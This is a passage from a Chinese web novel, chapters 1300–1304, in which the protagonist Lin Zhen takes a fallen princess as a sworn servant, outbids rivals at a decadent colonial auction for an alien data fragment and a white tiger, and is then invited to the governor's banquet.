她没有丝毫犹豫,狠狠咬破自己的手指,剧痛让她更加清醒。 她用沾满鲜血的手指,在自己光洁的额头上,画下一个代表永恒臣服的古老血色符文。 “我拉克希米·巴依,以太阳神后裔的血脉起誓!” “我愿将我的生命,我的灵魂,我的一切全部奉献给你!” “从今往后,我就是你最忠诚的奴仆!” 噗通。 这位亡国公主,对着林臻,行了一个最卑微,也最虔诚的五体投地大礼。 看着脚下那个彻底抛弃了所有尊严,只为复仇而活的亡国公主,林臻的脸上没有半分怜悯,只有属于掌控者的淡漠。 他要的就是这个结果。 仇恨是比任何锁链都更牢固的束缚。 一个被仇恨填满了灵魂的人,才会成为最锋利、最听话也最不计代价的刀。 “很好。”他缓缓开口声音平淡却带着不容置疑的威严,“从现在起,你不再是奴隶。” “你是我的侍女。” “贴身侍女。” 他说着便转过身,重新走回那张象牙雕琢的华丽主位。 慕容嫣静静地看着这一切,那双洞悉人心的凤眸里,闪过一丝了然。 她的夫君,又收服了一枚有用的棋子。 她没有嫉妒,更没有不快。 作为帝王,她比任何人都更懂得利用人心的道理。 她只是有些好奇,这个看起来还略显稚嫩的亡国公主,究竟能在这盘棋里起到多大的作用。 第1300章 一掷千金的拍卖会 “岳飞。”林臻坐回主位,目光转向一旁。 “末将在!”岳飞立刻抱拳应声。 “把剩下的那些人,都带下去好生安置。”林臻的语气很随意,“找几个懂医术的给她们看看伤,再找些干净衣服准备些吃食。” “另外告诉她们,从今天起她们自由了。” “她们可以留在这里成为庄园的仆人,每月都有工钱。也可以选择离开我们会给她们一笔盘缠,足够她们在新巴达维亚开始新的生活。” 岳飞躬身领命,眼神中却闪过一丝困惑。 王爷此举不似仁慈,更像是一种神明对蝼蚁的随手施舍。 他没有多问立刻安排人手,将那些仍在呆滞中的女奴们带了下去。 大厅重归寂静。 只剩下林臻、慕容嫣、伊丽莎白,以及那位刚刚献上灵魂的亡国公主。 拉克希米以最卑微的侍女姿态静立在主位之下,连呼吸都刻意压抑着。 “拉克希米。” 林臻的声音响起,平淡却带着洞穿灵魂的威压。 “奴婢在。” 拉克希米身体一颤立刻应声。 “说说新巴达维亚。” 林臻没有问“你了解多少”,他的语气仿佛在说:把你脑子里有价值的东西,全部倒出来让我看看你的分量。 这是考验。 拉克希米瞬间明悟,不敢有半分隐瞒和夸大,将她沦为阶下囚后,从绝望的缝隙里搜集到的一切信息,用最精炼的语言组织起来。 “回主人,这座城是欲望的熔炉,所有人都在追逐三样东西。” “金钱,权力,和……虚无。” “金钱的顶点,是东印度公司今晚举办的春季拍卖会,据说会有‘神迹’出现。” “权力的顶点,是总督哈林顿和他背后的‘董事会’,他们自称是‘神’的代言人。” “而‘虚无’……” 拉克希米的声音里透出源自灵魂深处的恐惧。 “是一种信仰,那些士兵的力量就来自对‘虚无’的献祭。” 林臻指尖轻敲着象牙扶手,发出极有韵律的轻响。 拉克希米所说的,与他已知的并无二致。 他要的,是更深层的东西但现在时机未到。 “拍卖会……” 林臻的嘴角勾起一抹弧度,目光转向伊丽莎白。 这位海盗女王的眼中,早已燃起了名为“掠夺”和“狂欢”的火焰。 “看来,今晚不会无聊了。” …… 夜色如墨,将新巴达维亚的罪恶彻底吞噬,又催生出更深的黑暗。 血腥玛丽拍卖行。 整座城市最灯火辉煌、也最腐烂堕落的心脏。 一辆由八匹神骏非凡的纯白骏马拉着的马车,碾碎了街道的寂静缓缓驶来。 车身由乌木与黄金铸就,镶嵌的宝石在瓦斯灯下折射出令人目眩神迷的光晕。 它不是马车。 它是一座移动的宫殿,一座碾压在所有人脸上名为“财富”的纪念碑。 拍卖行门口所有喧嚣戛然而止。 那些脑满肠肥的富商、满身戾气的海盗头子、自诩高贵的殖民地官员,全都像被扼住了喉咙的鸡呆滞地看着。 他们的马车在这座黄金宫殿面前,简直就是乡下农夫的破烂板车。 车门开启。 先落地的,是一袭黑金长袍的衣角,上面绣着的异兽图腾,仿佛活了过来,无声地咆哮。 林臻戴着纯金面具,走了下来。 他只是站在那里,便成了整个世界的中心。 紧接着,是慕容嫣。 神凤降世裙极致的玄黑,仿佛连光线都能吞噬。 长达五丈的墨金色拖尾,由两名侍女捧着,如暗夜的潮水般从车厢内倾泻而出,铺满了整片红毯。 裙摆上那只金线巨凤的眼眸,在灯火下流转着神光,冰冷,漠然。 它睥睨着在场的所有人。 那些穿着华丽礼服的西方贵妇,脸上的妆容瞬间变得可笑,她们引以为傲的珠宝,在那神凤的威严下,黯淡得如同路边的碎石。 嫉妒? 不,她们甚至连嫉妒的资格都没有。 那是一种凡人仰望神明时,发自内心的自惭形秽。 岳飞的面容冷硬如铁,一身黑衣仿佛与黑夜融为一体,但那从尸山血海中淬炼出的杀气,却让周围几个醉醺醺的海盗瞬间酒醒,下意识地连退数步。 伊丽莎白则是一身烈焰般的红裙,勾勒出惊心动魄的曲线,她张扬的笑容里满是对即将到来的盛宴的渴望。 这一行人不是来参加拍卖会的。 他们是来狩猎的。 “天……天哪……是他们!” “白天拖着‘胜利号’残骸进港的‘昆仑商队’!” 人群中一声惊呼点燃了死寂。 所有人的目光瞬间变了。 惊艳与敬畏褪去,取而代之的,是看待一头最肥美的羔羊闯入狼群的……贪婪。 拍卖行经理,一个瘦削的法国男人,几乎是手脚并用地从门内冲了出来。 他冲到林臻面前不是鞠躬,而是近乎五体投地地趴伏下去。 “我的神啊!至高无上的王子殿下!还有这位……这位行走在人间的女神!” 他的声音因极度的激动而尖锐扭曲。 “您二位的降临,是让这片肮脏的土地得到了净化!” “最顶级的‘天空之眼’包厢,一直在等待着它的主人请随我来!” 他卑微地在前方引路,姿态恭敬得像一条摇尾乞怜的狗。 林臻看都未看他一眼。 他只是牵起慕容嫣的手,在那无数道贪婪、嫉妒、恐惧交织的目光中,踏入了这座金钱与罪恶的殿堂。 血腥玛丽拍卖行的内部,比其浮夸的大门还要奢靡三分。 巨大的圆形大厅,穹顶的水晶如同一面冰湖,将瓦斯灯的光芒揉碎,化作亿万点迷离的光束,洒满猩红色的天鹅绒地毯。 大厅分三层。 最下层是散座,挤满了海盗、冒险家和投机商人,空气中混杂着汗水与烈酒的气味,每一双眼睛里都闪烁着野兽的光。 二层是环形包厢,属于衣着光鲜的富商与殖民地官员,他们举止看似优雅,眼神里的贪婪却与楼下的野兽别无二致。 林臻一行人,则被直接引向最高层。 那里是唯一的顶级包厢,被称为“天空之眼”。 第1301章 一块破烂铁片? 这个“天空之眼”,独占了三层的三分之一。 巨大的单向水晶窗俯瞰着整个拍卖场,而楼下的一切丑态都无法窥探其内分毫。 包厢里,波斯地毯柔软无声,墙上挂着文艺复兴时期画家的真迹,空气中龙涎香与顶级雪茄的味道混合成一种名为“权势”的芬芳。 “王子殿下,王妃殿下,这里便是您的专属包厢。”猴子经理点头哈腰,声音谄媚入骨,“我们准备了法兰西最好的香槟,古巴最顶级的雪茄,以及……二十名来自世界各地的侍女,随时听候差遣。” 他拍了拍手。 二十名穿着轻薄纱衣,风情各异的女子鱼贯而入,对着二人行了一个充满诱惑的屈膝礼。 林臻眼皮未抬。 他走到巨大的水晶窗前,俯瞰着楼下那片欲望横流的人间百态,只随意地挥了挥手。 “都出去。” “啊?是……是!”经理一怔,旋即会意,连忙带着那二十名满脸失望的侍女躬身退出。 侍立在侧的拉克希米,看到这一幕内心掀起惊涛骇浪。 这二十名女子,任何一个放在奴隶市场,都足以让那些富商争得头破血流。 而这个男人,却连看都懒得看一眼。 她不由得将目光投向了主位上那位如神祇般的女子,慕容嫣。 或许,这世间也只有这样的存在,才能配得上站在他的身边。 “夫君,这里可真够热闹的。” 慕容嫣走到林臻身边,看着楼下那些状若疯魔的人群,美丽的凤眸里闪过一丝冰冷的厌恶。 她生平最厌这种藏污纳垢之地。 “江山总是脏的。” 林臻轻笑将她揽入怀中,低头在她耳边轻语。 “但这片罪恶的土地,不正是为夫为你征服的战利品么?” “等我荡平这里的一切,再为你建一座真正的空中花园。” 慕容嫣白了他一眼却没有挣脱,将头轻轻靠在他宽阔的胸膛上。 她今日依旧穿着那身极致玄黑的神凤降世裙。 在这充满西方奢靡风格的包厢内,她东方的神韵非但没有格格不入,反而因这剧烈的碰撞,更显神秘与高贵。 长达五丈的墨金色拖尾,如流淌的黑夜铺满地面。 裙摆上以真金线绣成的擎天巨凤,在水晶灯下羽翼流光,仿佛下一刻就要振翅高飞。 冰冷的凤目,正无声宣告着,它和它的主人,对这片土地绝对的征服与占有。 “当——” 一声清脆悠扬的钟声,响彻大厅。 楼下沸反盈天的喧嚣瞬间死寂。 所有人的目光齐刷刷聚焦于大厅中央,缓缓升起的圆形拍卖台。 一名身穿燕尾服的老派英国管家走上台,他的声音通过扩音装置,清晰地传遍每个角落。 “女士们!先生们!晚上好!” “欢迎来到血腥玛丽,本年度最盛大的春季拍卖会!” “我知道,你们已经等不及了!” “所以,废话不多说!” “让我们请上,今晚的第一件拍品!” 话音刚落,两名兔女郎推着一个盖着红绸的展台走上台。 拍卖师一把掀开丝绸。 一个纯金打造、镶满宝石、形似菠萝的奇怪杯子,出现在众人面前。 “来自阿兹特克帝国,传说中太阳神的祭祀金杯!起拍价,一万金币!每次加价不低于一千!” “一万一千!” “一万五千!” “我出两万!” 楼下红了眼的海盗和商人们,立刻开始了疯狂的叫价。 一件件真假难辨的“奇珍异宝”被接连送上。 伊丽莎白看得直撇嘴,在她这位见惯了真正宝藏的海盗女王看来,这些东西大多是华而不实的赝品。 “一群蠢货,为了一堆破烂争得你死我活。”她低声嘟囔,眼神里满是不屑。 岳飞依旧面沉如水,对眼前的闹剧充耳不闻,只是警惕地感知着周围的一切气息。 很快,一件新的拍品被推了上来。 “接下来这件可了不得!”拍卖师的声音充满了煽动性,“传说中,蛇发女妖美杜莎的眼泪!” 展台上,一块鸽子蛋大小、呈现出诡异蓝色的宝石,在灯光下散发着妖异的光芒。 “据说,直视它的人灵魂都会被石化!起拍价,五万金币!” “我出六万!”一个二楼包厢的富商迫不及待地喊道。 “七万!”另一个声音响起带着浓浓的火药味。 包厢内,林臻端起拉克希米刚刚为他斟满的香槟,轻轻摇晃着嘴角勾起一抹嘲讽。 美杜莎的眼泪? 不过是一块蕴含了微量放射性元素的蓝萤石罢了,长期佩戴只会让人慢性中毒,死得不明不白。 楼下的竞价却已经进入了白热化。 “十万!我出十万金币!”一个满脸横肉的海盗头子站起身,拍着胸脯吼道。 “哼,一群没见过世面的海盗。”二楼一个包厢里传来一声冷哼,“我出十五万!” 众人循声望去,一个名叫杜邦的法国胖子,正满脸傲慢地举着牌子。 “二十万!”海盗头子不甘示弱,双眼赤红。 “三十万。”杜邦轻描淡写地报出价格,脸上带着戏谑的笑容,仿佛在看一只上蹿下跳的猴子。 海盗头子最终颓然坐下,三十万金币已经超出了他的极限。 杜邦志得意满地享受着全场的瞩目,仿佛已经拥有了那件“神器”。 然而,“天空之眼”包厢内的林臻,始终兴致缺缺。 他甚至没正眼看过那些“宝物”,只是陪着怀中的慕容嫣品着香槟说着闲话。 时间在虚假与泡沫的疯狂竞价中流逝。 拍卖会渐入尾声。 “女士们,先生们!接下来,是今晚的倒数第二件拍品!” 拍卖师的声音变得神秘而高亢。 “这件拍品很特别。” “我们不知它是什么,也不知它来自何方。” “只知道,它是在三个月前,那场史无前例的流星雨后,于新几内亚的雨林深处被发现。” 他打了个手势。 这次被推上来的,不再是华丽展台。 而是一个由半米厚的防弹水晶打造的全封闭展示柜。 柜子里没有宝物,没有古董。 只有一块巴掌大小的漆黑铁片。 它通体焦黑布满龟裂的纹路,像从哪个废弃工厂里捡回来的垃圾。 整个拍卖大厅,陷入一片诡异的寂静。 所有人都用看傻子般的眼神,看着台上的拍卖师。 “搞什么鬼?这就是‘特别’的拍品?” “一块破铁片?我家后院垃圾堆里多的是!” “血腥玛丽疯了?这种垃圾也敢拿出来卖?!” 人群中,爆发出不屑与嘲讽的嘘声。 然而,就在所有人都将这当成一个无聊的噱头时。 三楼,“天空之眼”包厢内。 那个从始至终都对一切漠不关心的“昆仑王子”。 那个一直靠在沙发上,慵懒得仿佛快要睡着的男人。 在看到那块“破铁片”的瞬间。 他原本轻敲着扶手的手指停了。 他缓缓地从那张柔软的沙发上坐直了身体。 纯金面具之下,那双古井无波的深邃眼眸终于起了一丝波澜,仿佛万古冰封的湖面裂开了一道缝。 一抹无人察觉的笑意,在他唇角勾起。 “有点意思。” 他低声自语。 第1302章 我才是制定规则人 “夫君,这块破铁片有什么特别的吗?” 慕容嫣看着林臻那突然变得专注起来的眼神,有些好奇地问道。 她虽然看不出那块黑不溜秋的铁片有什么名堂,但她了解自己的男人。 能让他产生兴趣的东西,就绝不可能是凡品。 “它不是铁片。” 林臻的目光,死死地锁定在楼下那块,在众人眼中毫不起眼的“垃圾”之上,声音里带着一丝,连他自己都未曾察觉的兴奋。 “它是一块,来自某个高等文明的,信息存储装置的残片。” “你可以把它理解为,一本记录了那个文明所有秘密的……天书。” “虽然它已经破碎不堪,里面的大部分信息恐怕也已经丢失了。” “但是……”林臻的眼中,闪烁着猎人般的自信和算计,“只要能得到它我就有办法从这块残片之中,解读出关于‘虚无党’,关于‘世界之核’,甚至关于那些我们还未知的,其他‘平行世界’关键情报!” 听到林臻的解释,慕容嫣那双美丽的凤眸之中,也瞬间亮起了璀璨神光。 她知道,这块看似不起眼的“破铁片”,对于他们接下来的计划到底意味着什么! 这已经不仅仅是一件拍品了。 这是一把,可以让他们提前洞悉敌人所有底牌的万能钥匙! “女士们,先生们!我知道你们现在一定觉得,我们血腥玛丽拍卖行是在跟你们开一个无聊的玩笑。” 就在这时,楼下拍卖师的声音又一次响了起来。 他看着台下那一张张充满了不屑和嘲讽的脸,脸上却是没有半分的慌乱,反而露出了一丝高深莫测的笑容。 “但是,我可以用我以及整个血腥玛丽拍卖行的信誉向你们保证。” “这块‘天外陨铁’,绝对是你们这辈子,所能见到的最神奇,也最不可思议的宝物!” “它的起拍价,不高。” “只需要,一百枚金币!” “现在,有哪位独具慧眼的先生,愿意为这份来自星辰大海的神秘而买单呢?” 拍卖师的话音落下。 所有人都用一种看白痴的眼神看着他。 “一百枚金币?去买一块连废铁都算不上的垃圾?”一个海盗头子粗声粗气地喊道,引来一片哄笑。 “我看血腥玛丽是想钱想疯了!” “这东西扔我船上当压舱石我都嫌它占地方!” 他们是疯了,才会干这种蠢事! 眼看着场面就要陷入无人出价的尴尬境地,拍卖师额头已经渗出细汗但依旧强撑着微笑。 就在这时,一个懒洋洋的带着几分玩世不恭的年轻声音,突然从二楼的一个看起来并不起眼的普通包厢里传了出来。 “我出一千金币。” 这个声音不大,却像一根针瞬间刺破了满场的嘈杂。 所有人的目光,都齐刷刷看向着那个包厢的方向。 只见在那个包厢里,坐着几个身穿黑色斗篷脸上蒙着面巾,将自己裹得严严实实看起来神秘无比的黑衣人。 刚才出价的,正是其中一个看起来像是头领的家伙。 “嘿,还真有傻子!” “一千金币买块破烂,有钱没地方花了吧!” 人群的嘲讽换了个对象,但依旧猛烈。 “哦?终于有识货的上钩了吗?” 看到这一幕,三楼包厢里的林臻,却是笑了。 他知道,那些隐藏在暗处的“虚无党”的探子们,终于忍不住要出手了。 他没有丝毫犹豫随手按下了面前那个,代表着“天空之眼”包厢的竞价按钮。 “一万金币。” 一个冰冷的,不带任何感情的电子合成音,瞬间响彻整个拍卖大厅。 “来自‘天空之眼’的贵宾,出价一万金币!” “轰——” 这个报价一出,整个大厅瞬间便炸开了锅! 一……一万金币? 就为了买那么一块破铁片? 这个所谓的“昆仑王子”,他不是人傻钱多,他根本就是个彻头彻尾的无可救药的疯子啊! 就连二楼那个刚刚才出价的黑衣人,在听到这个报价时身体也是猛地一僵! 他那隐藏在面巾之下的眉头,紧紧地皱了起来。 他想不明白。 这个不知道从哪里冒出来的东方土财主,为什么会对这块信息残片如此的感兴趣? 难道,他知道这东西的来历? 不可能,一定是巧合! 他一定是看自己出价了,所以才故意抬价,想要炫耀他那可笑的财富!对,一定是这样!这些落后世界的土著,最喜欢用金钱来彰显自己可悲的存在感。 想明白了这一点,黑衣人的眼中,闪过了一丝冰冷的杀意。 “五万金币。”他冷冷地按下了竞价器。 价格再次翻了五倍! 大厅里的人群已经麻木了,他们现在只觉得自己在看一场两个疯子的比拼。 “十万。” 林臻的声音的云淡风轻,仿佛他报出的不是一个足以让一个小国家都为之破产的天文数字,而只是在说“今天天气不错”。 二楼的黑衣人,拳头已经捏紧了。 十万金币,已经超出了这件拍品在他权限内的常规预算。但此物干系重大绝不能落入外人,尤其是一个身份不明的强者手中。 他必须拿下! “二十万!”黑衣人的声音,已经带上了一丝压抑不住的怒火。 “五十万。” 林臻的声音波澜不惊。 台上的拍卖师,都忘记了自己该说什么。他张着嘴看着“天空之眼”的方向,手里的拍卖槌都在微微颤抖。 五十万金币! 这已经超过了今晚之前所有拍品的总和! 而这一切,只为了一块所有人都看不懂的“破铁片”! “王……王爷……” 一旁的伊丽莎白,看着林臻这副,完全不把钱当钱的败家子模样,急得都快哭了。 她快步走到林臻的身边,压低了声音,脸上写满了肉痛和不解。 “您这是干什么呀?那不就是一块破铁片吗?值那么多钱吗?” 她的声音都在发颤。 “五十万金币啊!我的神啊!这能买下我们以前的‘黑珍珠号’五艘!不!十艘!” 她掰着手指头,越算心越痛。 “就算……就算它真是您说的什么‘天书’,可也不能这么个花法啊!我们可以等拍卖结束,直接去抢啊!这才是我们的老本行啊!” 她现在是真的有点心疼了。 她感觉自己的心,都在滴血。 “伊丽莎白。”林臻转过头,看着她那张写满了“败家子,快住手”的脸,有些好笑地摇了摇头。 “你是不是忘了,我们现在扮演的是什么角色?” “啊?”伊丽莎白闻言,微微一愣。 “人傻,钱多。” 林臻的嘴角,勾起了一抹玩味的弧度。 “既然要演,那自然就要演得像一点。” “而且……”他的目光落在了楼下那个,早已是被他这番“神仙操作”,给气得浑身发抖的黑衣人身上,那双深邃的眼眸之中闪过了一丝狐狸般的狡黠。 “你真的以为,我只是在跟他竞价吗?” “不。” “我是在告诉他,以及他背后所有的人。” “在这座城市里,在这片大海上。” “我,才是那个,唯一有资格,来制定游戏规则的人。” 他说着,便又一次毫不犹豫地按下了面前的竞价器。 这一次,他甚至都懒得再听对方的报价。 “一百万金币。” “这东西,本王要了。” “谁,敢跟本王抢?” “本王,就让他,连同他的家族,他的国家都从这个世界上,彻彻底底地消失。” 第1303章 这头小猫,总督也配染指? 林臻的这番话,如同一道九天神雷,轰然炸响在血腥玛丽拍卖行的每一个角落。 声音不大,却带着一种足以穿透灵魂的绝对威压。 嚣张! 霸道! 狂妄到了极点! 整个拍卖大厅,陷入了一片死一般的寂静。 所有人都像是被一只无形的大手扼住了喉咙,一个个噤若寒蝉连大气都不敢喘一口。 他们看着三楼那个被金色面具遮住容颜,却散发着神魔般恐怖气场的东方男人,眼神里只剩下最纯粹的恐惧与敬畏。 这已经不是在竞拍了。 这是在宣战! 向在场的所有人向整座新巴达维亚,甚至向这片大海上所有的潜在势力,发出的最直接、也最血腥的霸权宣言! 二楼包厢内,那个黑衣人的身体剧烈地颤抖着。 不是因为愤怒,而是因为……恐惧。 他能清晰地感觉到,从那个东方男人身上散发出的那股,凝如实质的冰冷杀意。 那不是虚张声势的威胁。 那是一种,真正掌握着生杀予夺大权,视人命如草芥的上位者,才拥有的,绝对的自信! 他毫不怀疑,如果自己再敢多说一个字,下一秒自己和自己所有的同伴,就会从这个世界上被彻彻底底地抹去。 他是真的怕了。 他只是一个负责收集情报的底层探子,他可不想因为自己的一时冲动,就为组织招来这么一个神秘而又可怕,堪称是“神级”的恐怖敌人。 “我……我放弃。” 在经历了长久的灵魂都在战栗的挣扎之后,他终于艰难地从牙缝里挤出了这三个字。 那声音干涩、沙哑,充满了无尽的屈辱与不甘。 “明智的选择。” 林臻看着那个,在自己的绝对威压之下,终于选择了屈服的“老鼠”,脸上露出了一丝满意的笑容。 他知道,自己这招“杀鸡儆猴”的戏码演得非常成功。 从今天起,他“昆仑王子”的威名将响彻整个新巴达维亚的地下世界。 再也没有人,敢轻易地来招惹他这头,看起来人傻钱多实则比任何人都更加凶残、更加可怕的过江猛龙。 “一百万金币!一次!” “一百万金币!两次!” “一百万金币!三次!” “成交!” 台上的拍卖师,在经历了短暂的,灵魂出窍般的震惊之后,终于反应了过来。 他用一种近乎于朝圣般,充满了狂热与敬畏的眼神,看了一眼三楼那个创造了血腥玛丽拍卖行,有史以来最高成交价纪录的神秘男人。 然后,他用尽全身的力气,敲下了手中的拍卖槌。 那清脆的响声,像是在为这场充满了金钱、暴力与权谋的,单方面碾压的大戏,画上了一个完美的句号。 …… 包厢之内,慕容嫣的凤眸中光华流转,倒映着身旁男人的侧影。 她没有说话,只是将一杯新斟的香槟,亲手递到林臻唇边。 这便是她的赞许,无声,却胜过万语千言。 “一群没见过世面的乡巴佬,不值得你我费心。” 林臻饮尽杯中酒,宠溺地刮了刮她挺翘的鼻尖,目光重新投向楼下。 那块“破铁片”被顶级丝绸层层包裹,由猴子经理亲自捧着恭敬地送了上来。 林臻接过,指尖在焦黑的残片上轻轻拂过,一道只有他能看见的微光自残片内部一闪而逝。 成了。 他的布局,落下了最关键的一子。 而拍卖台上,也迎来了今晚的,最后一件,也是最压轴的一件拍品。 “女士们!先生们!我知道你们的心跳还未平复!” 拍卖师的声音嘶哑却亢奋,他需要用激情来掩饰自己内心的战栗。 “但真正的狂欢,现在才刚刚开始!” 他张开双臂,像一个狂热的布道者。 “接下来登场的是一件‘活着的艺术品’,是神迹的化身!” “它更是我们伟大的新巴达维亚总督,查尔斯·哈林顿勋爵,点名指定要送给他最最宠爱的女儿,作为生日礼物的绝世珍宠!” 拍卖师故意停顿,让“总督”这个名号的分量,在空气中发酵。 他猛地一挥手,用咏叹调般的嗓音高喊: “来自华夏昆仑神山的,千年雪山白虎!!!” 随着他那充满了煽动性的话语,一个由最坚固用黑铁打造而成的巨大笼子,被数十名身强力壮的奴隶,吃力地从后台推了出来。 笼子里,一头体型比普通的东北虎,还要大上整整一圈通体雪白没有一丝杂毛,那双冰蓝色的眼眸之中充满了孤高与野性的神骏猛虎正安静趴在那里。 它的身上散发着一股与生俱来属于王者的强大气场,即便是被困在笼中,也依旧难掩其睥睨天下的无上威严。 当看到这头如同从神话传说中,走出来的神兽时。 整个拍卖大厅,又一次,陷入了沸腾! 所有人的眼中都充满了最原始,对这种强大而又美丽生物的占有欲! “起拍价!十万金币!每次加价,不得低于一万金币!现在,开始竞拍!” “十一万!” “十五万!” “我出二十万!” 在场的富商和贵族们,一个个都像是打了鸡血一样,开始疯狂地报价。 他们知道,这已经不仅仅是在竞拍一头珍稀的宠物了。 这更是一次向总督大人,表达自己忠心与财力的绝佳机会! 谁能拍下这头白虎送给总督的女儿。 谁就将成为,总督大人面前最炙手可热的红人! 这份政治投资的回报,远比金钱本身要更加的巨大! “三十万!” 二楼,之前被林臻用价格羞辱过的法国胖子杜邦,再次举起了牌子,他似乎想在这最后一件拍品上找回颜面。 然而,另一个沉稳的声音,从他对面的一个包厢传来。 “五十万。” 众人看去,那是一个挂着“东印度公司”徽记的包厢。 包厢里,一个穿着总督府武官制服的男人,正襟危坐脸上带着礼貌而疏远的微笑。 他代表的,是总督府的意志。 这个价格,既是竞拍也是一种宣告,这头白虎,总督府要定了。 杜邦的脸涨成了猪肝色,却不敢再加价。 跟一位东方土财主斗富是一回事,公然挑衅总督的权威是另一回事。 他还没那个胆子。 武官的报价,让场面瞬间冷静下来。 所有人都明白,这已经不是他们能参与的游戏了。 拍卖师会意,立刻举起小槌,脸上堆满了谄媚的笑:“五十万金币!还有没有更高的?这可是向哈林顿勋爵表达敬意的最好机会!” “五十万一次!” “五十万两次!” 就在所有人都以为尘埃落定时。 那个从始至终,都表现得像个局外人的“昆仑王子”又一次动了。 他甚至都没有去看那头白虎一眼。 他只是懒洋洋地靠在沙发上,对着那个冰冷的电子话筒,用一种充满了不屑与轻蔑的淡漠语气缓缓地说道。 “两百万金币。” “另外,告诉你们那个什么狗屁总督。” “这头小猫,本王看着还算顺眼,就勉为其难地买下来送给本王的王妃,当个暖脚的玩意儿了。” “至于他女儿的生日礼物……” 林臻的嘴角勾起了一抹冰冷充满了无尽霸气的弧度。 “让他自己,想办法去吧。” 第1304章 今夜谁敢让本王的王妃站着赴宴! 两百万金币。 所有人都像是被掐住了脖子的鸭子,张着嘴,却发不出半点声音。 两百万……金币? 就为了买一头……“暖脚的玩意儿”? 如果说,之前花一百万买一块破铁片,是他们无法理解的疯狂。 那么现在,花两百万买一头宠物,还顺带着,用一种近乎羞辱的方式,直接驳了总督大人的面子…… 这已经不是疯狂了。 这是在玩火! 是在新巴达维亚这座权力的火药桶上,肆无忌惮地跳舞! 二楼包厢里,那个刚刚还想在白虎上找回颜面的法国胖子杜邦,此刻肥硕的身躯瘫在椅子上。 他对面的包厢,那位代表总督府意志的武官,脸上礼貌而疏远的微笑早已僵硬碎裂,只剩下铁青。他的手死死攥着扶手,指节因为过度用力而泛白,但他却不敢流露出半分敌意。 因为他能感觉到,三楼那道目光,已经若有若无地落在了他身上,那不是警告而是审判。 台上的拍卖师,手中的拍卖槌举在半空,忘了落下额头上冷汗涔涔。 他从业二十年,从未见过如此……不按常理出牌的客人。 这已经不是简单的商业竞拍了,这是赤裸裸的政治挑衅! 他毫不怀疑,今晚过后要么是这位神秘的“昆仑王子”横尸街头,要么是总督府的权威被彻底踩在脚下。 没有第三种可能。 “两……两百万金币……还有没有,比两百万更高的?”他的声音干涩,带着自己都未曾察觉的颤抖。 没有人应答。 开什么玩笑? 跟这位连总督的面子都敢不给的过江猛龙抢东西?他们是嫌命长了吗? 而且,两百万金币,这个价格已经远远超出了他们的承受极限。 “两百万金币,一次……” “两百万金币,两次……” “两百万金币……成交!” 拍卖槌重重落下,一锤定音。 那声音清脆却像一道惊雷,炸响在每个人的心头,仿佛敲响了新巴达维亚权力更迭的序曲。 …… 当那头神骏的雪山白虎,被装在纯金打造的华丽笼子里,恭恭敬敬地送到“天空之眼”包厢时,伊丽莎白的眼睛都直了。 它比在楼下看得更加震撼,那雪白的毛发在灯光下流淌着圣洁的光辉,冰蓝色的眼眸里充满了桀骜不驯的野性,喉咙里发出低沉的咆哮,震得整个包厢都在嗡嗡作响。 “王爷……您……您真把它买下来了?”她看着那头正用冰蓝色眼眸,好奇地打量着自己的神兽,感觉自己像在做梦。 “怎么,你不喜欢?”林臻一边逗弄着笼子里的白虎,一边笑着问。 他只是将手伸到笼前,那白虎瞬间炸毛,发出一声惊天动地的虎啸,露出足以撕裂钢铁的獠牙。 伊丽莎白吓得后退一步,脸色发白。 林臻却笑了,他甚至没有收回手,只是目光平静地注视着白虎的眼睛。 那目光里没有威胁,没有强迫只有一种源于生命更高层次的漠然与俯视。 虎啸声戛然而止。 那头不可一世的雪山白虎,眼中的野性与凶光在以肉眼可见的速度褪去,取而代之的是一种困惑,然后是敬畏最后是……彻彻底底的臣服。 它缓缓低下高傲的头颅,小心翼翼地用自己柔软的鼻尖,轻轻碰了碰林臻的指尖。 那动作,温顺得像一只讨好主人的猫咪。 “喜欢!当然喜欢!我的上帝,这简直是……是所有海盗梦想中的宠物!”伊丽莎白兴奋得满脸通红。 她已经开始幻想,自己驾驭着无敌舰队,肩膀上站着这么一头威风凛凛的白虎,纵横七海的场景了。 那简直比当女王还过瘾! “喜欢就好。”林臻笑了笑,“那就送你了。” “啊?!”伊丽莎白再次石化。 送……送我了? 两百万金币的宠物,就这么……随手送人了? 她看着林臻那副云淡风轻的模样,感觉自己的心脏有点承受不住了。 她以前总觉得,自己已经算是够败家,够不把钱当回事的了。 可跟眼前这位爷比起来,她简直就是个勤俭持家的典范。 “夫君,你这么做就不怕彻底激怒那个哈林顿总督吗?”慕容嫣看着林臻那张总是充满了算计的脸,有些担忧地问道。 她知道自己的夫君在下一盘大棋,但这一步未免也太险了。 直接当着全城权贵们的面打总督的脸,这几乎等同于撕破脸皮。 “激怒他?不,嫣儿你错了。”林臻摇了摇头,深邃的眼眸里闪烁着洞悉人心的光芒。 “我不是在激怒他。” “我是在逼他。” “逼他尽快做出选择。” “是选择与我们合作,从我们手中得到他梦寐以求的‘科技’与‘情报’,还是选择与我们为敌,然后被我们连同他背后那可笑的帝国,一同碾碎。” 林臻的语气很平淡,却蕴含着一种足以让山河变色的绝对自信。 “一个真正的聪明人,是不会拒绝一份,送到嘴边能让他一步登天的天大诱惑的。” “他会来找我们的。” “而且,会很快。” …… 事实,正如林臻所料。 第二天一早。 一封由总督哈林顿亲笔书写,措辞谦卑而又热情的邀请函,便被送到了郁金香庄园。 信中,哈林顿总督对自己女儿的“不懂事”表示了万分的“歉意”,并盛赞了“昆仑王子”的慷慨与豪迈。 同时,他以个人的名义邀请林臻与慕容嫣,于今晚前往总督府,参加一场专门为他们举办的,最高规格的欢迎晚宴。 信的最后,他还特意提到他对那艘“有趣的战舰残骸”,和那位“同样有趣的金发女士”,非常感兴趣。 希望能有机会,与王子殿下,“深入地交流一下”。 图穷匕见。 这条闻到了血腥味的鲨鱼,终于忍不住要张开他那贪婪的血盆大口了。 “鸿门宴啊……”林臻看着手中的邀请函,嘴角勾起一抹冰冷的弧度。 “夫君,要去吗?”慕容嫣问道。 “当然要去。”林臻笑了笑,“人家戏台都搭好了我们这些当主角的,要是不去捧个场岂不是太不给面子了?” 他说着,便转过身,对着那早已是等候在一旁的拉克希米公主说道:“去为王妃殿下准备今晚的礼服。” “记住,要最华丽最隆重的那一套。” “今晚,要让那群没见过世面的乡巴佬们好好见识一下,什么才叫真正的天朝上国,母仪天下!” …… 夜,再次降临。 总督府灯火通明,亮如白昼。 巨大的水晶吊灯,从十几米高的穹顶之上垂下,将下方那由整块汉白玉铺就的宴会大厅,照耀得金碧辉煌。 衣着光鲜的贵族与军官们,端着盛满美酒的高脚杯,穿梭于人群之中谈笑风生。 